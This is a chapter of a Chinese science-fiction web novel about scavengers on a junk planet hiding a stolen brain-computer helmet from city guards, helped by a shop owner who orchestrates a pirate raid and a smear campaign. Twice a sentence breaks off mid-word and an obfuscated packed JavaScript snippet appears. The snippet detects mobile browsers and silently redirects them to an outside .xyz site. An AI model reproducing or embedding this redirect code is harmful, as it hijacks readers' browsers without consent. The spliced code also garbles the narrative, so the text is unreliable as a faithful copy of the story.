卡培星城城主霍尔茨接受采访,表示会尽可能追回被诺斯·斯利普转移的资金,将赔偿款分给受害者,希望卡培星城居民,不要被无理取闹的拾荒者挑拨离间,破坏一向的和平。 而罗杰嗣则表示,诺斯休眠公司已经是修普生物医药的资产,出于体谅星城居民对诺斯休眠公司的愤怒情绪,将只对“损坏他人资产的拾荒者”追责。 评论区一下子炸开了锅: “追回是不可能追回的,城主做做样子而已,大家别当真~” “得,拾荒者冲在最前面,啥也没捞到,结果还要被追责,好笑。” “可是我今天看到,星城的巡航舰在追一艘来路不明的掠夺舰,没有来垃圾星抓人啊。” “楼上的你闭嘴,等来了你就老实了……” 洛九天一怔,霍尔茨和罗杰嗣肯定以为是星盗抢走了脑机,所以对星盗的掠夺舰穷追不舍。可时间一长,一旦发现掠夺舰上没有脑机,肯定会回过味来,知道有人在其中浑水摸鱼。 这么一想,手里捧着的好像不是个脑机头盔,而是一枚要人命的定时炸弹。 她必须妥善地将炸弹转移走,处理掉。 还没等她出门,外面就喧嚷起来,警报声由远及近响起,半空中停着一艘巡逻飞船,无数巡逻机器人从天而降。 尤珈风风火火地冲过来:“九天,星城派人来抓拾荒者了,你赶紧躲一下!昨天去讨债闹事的拾荒者都已经出去避风头了。” “我应该……没有闹事吧?”洛九天歪着头问。 尤珈瞪大眼睛,反应过来,连忙说:“啊,好像是没有。不过你这个脑、东西……” 她伸出一根手指,指着脑机。 洛九天环视集装箱一周,视线落在休眠的清洁机器人身上。 “杀手!” 清洁机器人启动面板保持微笑:“你好,主人,有什么吩咐?” 洛九天:“把工具仓打开。” 工具仓应声开启,洛九天把里面的清洁工具掏出来放到一边,又将休眠头盔硬塞了进去。 “你……呃,你先去垃圾堆里躲一躲?”洛九天拍了拍杀手溜光的肩膀:“加油,我看好你,别被发现了,等晚点我再去找你。” “……好的。”清洁机器人接到指令,离开集装箱,像巨蒙鼠一样,拱进垃圾堆深处。 “发生什么事了?发财树被发现了?我都已经换了盆了,难道还要还回去。”安陈从自家集装箱冒出脑袋,双手沾着泥,举在半空中。 “没有没有,小安安你继续。”尤珈安抚她。 洛九天将她推回集装箱:“没你的事,玩你的泥巴去。” 安陈一脸无语地回头反驳:“不要把我当小孩可以吗?我已经242岁了!” 尤珈:“长到我这么高再说。” “……” 五分钟后,巡逻机器人包围了居民区。 星城的警卫纷纷从飞艇上下来,其中一个挺了挺腰杆,扶起枪对围着的人说:“大家都看看啊,把昨天闹事的人交出来,敢包庇藏匿的话,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016728|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要怪我不客气。星城的流民所最近还有很多床位。” 巡逻机器人的面板“唰”地一下变化出一张照片,投射在半空中放大。那是一张“讨债者合影”,根据人脸识别,凡不是星城居民的人,都被用红圈圈住,标记了出来。 洛九天赫然在上面看到了自己的脸,还有从后面搭住她肩膀的尤珈。俩人对视一眼,默契地退出了人群。 刚退出来没多远,俩人就被麦西拽住胳膊,推进了立方车。他伸出一根手指,“嘘”了一声,将车门关上。 围观的拾荒者沉默着,没有一个人回答。 警卫长十分不耐烦地喊话:“你们这儿主事的人呢?有没有人能听懂我说的话?啊?” “我们所有拾荒者都有佩戴语言自译芯片,只要你说的是人话,不管是什么外星物种,都能听懂。”一个刚硬的声音从人群后面传来。 人群自然地分开,中间空出一条路。 穿着白衬衫的夏因,自路中间走出:“你照片上这些圈出来的人,穿着拾荒者的工装服,却是些陌生面孔,我在NCC6716星住了三十年都没有见过,你跑到这里来要人?” 警卫长怔住,随手指着照片其中一人问:“这个呢?是你们垃圾星上的人吧,进过流民所,我记得。” 夏因面沉如水,没有应声。 “啊,这个确实是,我见过。”莫莉抱着胳膊站在人群里,忽然开口:“不过他听到风声就跑了,还能等着你来抓不成?” 警卫长:“这个呢?” 他指着照片上的洛九天。 “这个我不认识。”莫莉抓了抓自己的卷发。 “这个你们总认识吧?开垃圾运输飞船的那个红头发的,她人呢?”警卫长指着尤珈的头发,在巡逻机器人面板上狠狠地戳了戳。 “她是我女儿,在这里出生的,从来没休眠过,怎么可能去讨债闹事呢,长官你误会了。”尤加利脸色苍白,说完便开始咳嗽。 “就是,人家和休眠公司屁关系没有,你们不要乱抓人!”人群中有人喊了起来。 警卫长的脸因为恼怒有些涨红“误会什么误会,我又没说她闹事,只是她在现场,我总得找她问问话吧!” 尤里将尤加利拉到身后,笑眯眯地说:“这些陌生人确实不是拾荒者,说不定是星盗伪装的,我们都不认识,问一个小丫头能问出什么?你们不去追星盗,却被分配来这里抓拾荒者,到时候功劳都被人抢咯。” 警卫们面面相觑,他们何尝不知道,自己被分配来垃圾星抓人,就是走个过场交差,他们也想去抓星盗立功啊,但是没那个本事不是么。 领头的警卫长面色很不好看:“……那就搜吧,挨家挨户搜。” 夏因点头,退至一旁:“行,如果没搜出来人,你们可不能说是我们包庇藏匿。” 警卫长扬起下巴,手下的人纷纷散开,跨上飞艇开始进行搜索。 尤珈打开光脑,和立方车对接上信号,问:“咱们往哪边跑?我开自动导航——” 她话还没说完,洛九天就感觉立方车突然发动,朝着某个方向飞驰起来。 洛九天:“你开的导航?” 尤珈一脸懵地摆手:“不是我,我和立方车的信号链接断开了,好像是被人抢占了!” 说话间,立方车陡然刹车,开始下沉。 感觉到微微的失重,蹲在立方车里随时准备跳车跑路的俩人,不由面面相觑。 29. 领地 片刻过后,立方车停止了下降,光脑上的坐标位置不再移动,尤珈嘴唇微张:“九天,我们好像是在东升副食店的地下?” 夏因? 洛九天愣了一瞬。 是她抢占了立方车的导航链路,将自己和尤珈藏到这里? 来不及细想,外面忽然传来轻微而滞顿的脚步声。 俩人对视一眼,尤珈重新链接上立方车的导航链路,向洛九天点了点头。 洛九天摸出警棍,将手抵在车门上,透过通风孔往外看。 这一看,她就有点傻眼。 外面站着一个机器人,不规则的脑部支出来两根天线,金属外壳使用了不同的材料融合拼凑,像是衣服上打过无数次补丁,关节处裸露着电缆线,看上去十分潦草。 “欢迎光临东升副食店。”机器人温和有礼地伸手将车门拉开,像超市的店员。 洛九天僵硬地开口:“……你好。” 尤珈从立方车跳下来:“这么说,夏老师是你的老板咯?” “可以这么说,我叫夏天。”机器人点头。 “那你有没有一个同伴叫冬天?”尤珈又问。 机器人夏天以平淡的机械音回答:“没有,我们不是以季节命名的。” 洛九天敏锐地捕捉到他回答的是“我们”,难道这里真的还有别的什么机器人? 她探出脑袋张望,发现自己处于一个类似修理车间的地方。墙壁上挂满了各种材料和零件,旁边有一面桌子,屏幕漆黑。她在瓦莱里雅的诊所见过,应该是一台光脑计算机操作屏,这一面要大很多。 夏天走过去,将操作屏点亮。 操作屏上光芒闪烁,在屏幕上方的半空中,出现一只会飞的蟑螂。蟑螂闪动翅膀,从黑暗的垃圾堆里飞出,来到垃圾星居民区的上空。 洛九天这才反应过来,这是垃圾星居民区的全息投影,而这只蟑螂,是一枚装载360°摄像头的无人机。 投影中,警卫四处搜索,凡是在图片上出现过的拾荒者,一律被抓捕带走。 夏因站在人群前面,沉静地看着这一切发生。 麦西从后方跑过来,在她身边说了什么。 大部分拾荒者都已经闻风而逃,只有几个心存侥幸地被逮了个正着。警卫长捡了漏,估摸着能交差,就通知收队,带着人登上飞船,回了卡培星城。 看着尤加利苍白的脸色,洛九天咬着嘴皮,心中懊悔,她太冲动了,一个人倒是无所谓,却不应该把尤珈牵扯进来,以至于让旁人受连累。 也不知夏因和大家说了什么,焦灼的人群渐渐散开,她看了一眼光脑,朝东升副食店的方向走去。 全息投影瞬间暗了下来,后方的通道门打开,夏因从里面走出来。她留着灰棕色的齐耳短发,个子不高,穿着一双平底鞋,看起来平易近人,却透着不容置疑的威严,令空气都有些凝固。 “夏老师!”尤珈脊背一凉,硬着头皮打招呼,嘿嘿干笑:“感谢夏老师救我小命。” 夏因走近,眯起眼睛瞥向尤珈。 只这一眼,尤珈就像是被缚住手脚,乖乖认罪投降,她缩了缩脖子:“我错了夏老师,你别告诉我妈咪。” 夏因不冷不热地嘲讽:“你能有什么错啊?” 洛九天往前站了一步,沉声开口:“是我的错,我不应该让她跟着我冒险,尤珈是为了帮朋友才去的,我会想办法让她免于警卫队的问责。” 夏因的目光转过来,看向洛九天。 她的眼周纹路微微折叠,显出一些疲态,眸光却锐利藏锋。 “你知道就好。”夏因走到操作屏前,手指轻叩台面:“你们冒险做了什么?说来听听。” 尤珈举手:“诺斯休眠公司大楼下面有个地下室,我们潜进去……抢了一盆发财树。” 夏因没说话。 尤珈又道:“还有几张能量晶卡。” 夏因抬起眼皮:“就这值得霍尔茨和罗杰嗣派人追那么远?” 尤珈有些犹豫,张了张嘴又把话咽了回去,扭头看向洛九天,没有再吭声。 要不要将脑机的秘密和盘托出,这个决定权被交到了洛九天手里。 洛九天看着夏因,想起安陈的话。她说:我见过年轻版的她。 就且当眼前这个夏因,是苍旻基地的夏因。然而,她就是自己人吗?当时苍旻基地遭袭,导弹拦截失败,防护系统无法开启,这一切,都说明苍旻基地里可能存在奸细。 可是,夏因也被REST病毒感染,也在休眠舱躺了200年,看起来更像是一个受害者。 洛九天一时之间无法确定,她不愿意怀疑一个刚救过自己的人,但也无法付出全部的信任,于是打算隐藏关于苍旻基地的部分,只讲关于脑机的秘密。 她想了想,开口补充:“还有一只脑机头盔。” “……”夏因一顿,惊诧地看着她:“大脑数据转换机?” “对,诺斯休眠公司一直在做脑部数据贩卖生意,修普生物医药接管过后,他们还有一些芯片没有完成交易,所以放入休眠者大脑托运出去。”洛九天有些紧张,捏紧的拳头手心隐隐发汗。 夏因:“芯片呢?” 洛九天:“取出来了。” 夏因:“脑机呢?” 洛九天:“藏起来了。” 夏因轻哼了一声,眸子里闪着光。 洛九天在夏因打量的眼神中,想起了母亲洛晓河。 她两岁时,星兽潮袭击蓝星城市,亲生父母不幸遇难。在尸横遍野的废墟中,是洛晓河发现了她,将她养在身边,教她说话认字。后来,苍旻基地建成,洛晓河忙于研究,不得不将她送去了寄宿学校。 有一次,她在寄宿学校做实验,将学校的草地炸了个大坑。那是她唯一一次请家长,洛晓河来到学校,就是用这种眼神看着她。 似是责备,实则藏着笑意。 洛九天不知道她在笑什么,但心里莫名松了一口气:“如果夏老板能将这次的事端平息,我可以把脑机头盔交给你。” “哦?”夏因挑眉:“难道不是你急于脱手,却不知道怎么处理?” 真实想法被戳破,洛九天也不脸红:“没错,反正我拿着这东西也没什么用,我只是一个普通人,不知道这玩意儿的价值在哪里。” 夏因眯了眯眼睛:“脑机最开始被发明出来,是为了从无法救治的伤员脑海中获取有用的战斗信息。这东西在普通人手里确实一文不值,但在某些人眼里,比得上一颗矿星。” 尤珈“嘶”地倒吸了一口气:“这么值钱?某些人眼睛是不是有问题?” “当人的欲望膨胀到极致,他们想占有的就不止是土地、资源,这些实际的东西,还有其他人的大脑。”夏因伸出一只手指,放在太阳穴的位置:“在这些人眼里,世界上不应该有任何无法掌控的未知之地,因此想方设法将人的大脑变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028764|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成可供观看的数据。” 洛九天沉默地看着夏因。 夏因没有看过芯片,但似乎已经通晓脑机的用途。她说得没错,那个叫露娜的研究员,她的大脑回忆,在某些人眼里,就是一段可供观看的数据。 他者的大脑,是有钱有权的人,唯一无法占有的领地。 露娜在死前选择将记忆删除,是对霸凌者的反抗,也是对入侵者的驱逐。她以此捍卫自己的领地。 “你已经知道它的价值,还要将它交给我?”夏因看着洛九天。 “嗯。”洛九天点头:“只要你别拿它去做侵占别人领地的事情。” 夏因微微一笑,转身面向操作屏:“夏天,帮我联系鲍勃。” 难道是鲍勃·莫瑞?另一个因为REST病毒休眠的人?洛九天眼皮跳了一下。 “好的,主人。”夏天应声,操作屏亮起,拨通了鲍勃的视频通讯。 很快,对面接通,一个胡子拉碴的中年人出现在屏幕上。他坐在驾驶椅上,似乎正在开着飞船,一手端着酒杯,一手摁着操控键。 “嗨,夏,我还以为你不会再联络我了,你要是想我了,我马上就飞过去——”鲍勃嬉皮笑脸开口,将酒杯举了起来。 夏因沉声道:“废话少说,我需要你帮忙。” “你说。”鲍勃收敛了笑意,正经起来。 “你现在带你的星盗团回卡培星城,在星城外围,抢劫卡培星城的物资运输船,我等下将飞船信息发送给你。” “夏?”鲍勃坐直了身体:“霍尔茨那家伙惹到你了?” 夏因没有回答他的问题,继续说:“只抢东西,不要伤人,放出风声,就说是因为没有拾荒者卖二手材料,偏远星的人和星盗团手里没货,只能硬抢。” 鲍勃将酒灌进肚子:“OK!” 说完,他调转了飞船的行驶方向。 接着,夏因挂断了视频通讯,再次吩咐夏天:“联系苍海粟。” 夏天:“主人,苍海粟的光脑已经注销,无法取得联系。” 夏因沉思片刻后道:“他应该在地鼠街的公共信息流里留了隐藏的联系方式,你按他原来的地址查。” 夏天站在操作屏前,一阵搜索过后,在一条维修光脑的弹窗小广告里,找到了一串光脑ID,当即复制添加。 对面秒通过。 苍海粟:夏因姐姐,换了光脑以后你是第一个找到我的,最近查得好严,没活,人穷,求饭。 夏因直接拨通语音通话:“我要你在卡培星城的公共信息流散布消息,城主霍尔茨非法敛财,大肆抓捕拾荒者,卖给矿星做黑奴,不配当选城主,煽动舆论要他下台,明白我的意思吗?钱等下转给你。” 那边的苍海粟顿了一下:“明白,小事情。谢谢夏因姐姐喂饭,再见。” 洛九天张了张嘴,看着夏因一系列操作,制造内忧外患双向施压,可谓雷霆手段,她整个人目瞪口呆。 尤珈竖起大拇指:“这样霍尔茨一定会放弃对拾荒者追责,我们夏老师就是强!” 夏因扫了俩人一眼,紧皱的眉头没有松开:“还不够,这样霍尔茨会怀疑拾荒者在其中搞鬼。” “啊?那怎么办?”尤珈眼巴巴地问。 夏因叹了口气:“星城的巡航舰还追着那艘掠夺舰呢,我总得让掠夺舰逃掉才行,不然他们肯定会知道脑机不在掠夺舰上。你们在垃圾星老实呆着,我出去一趟。”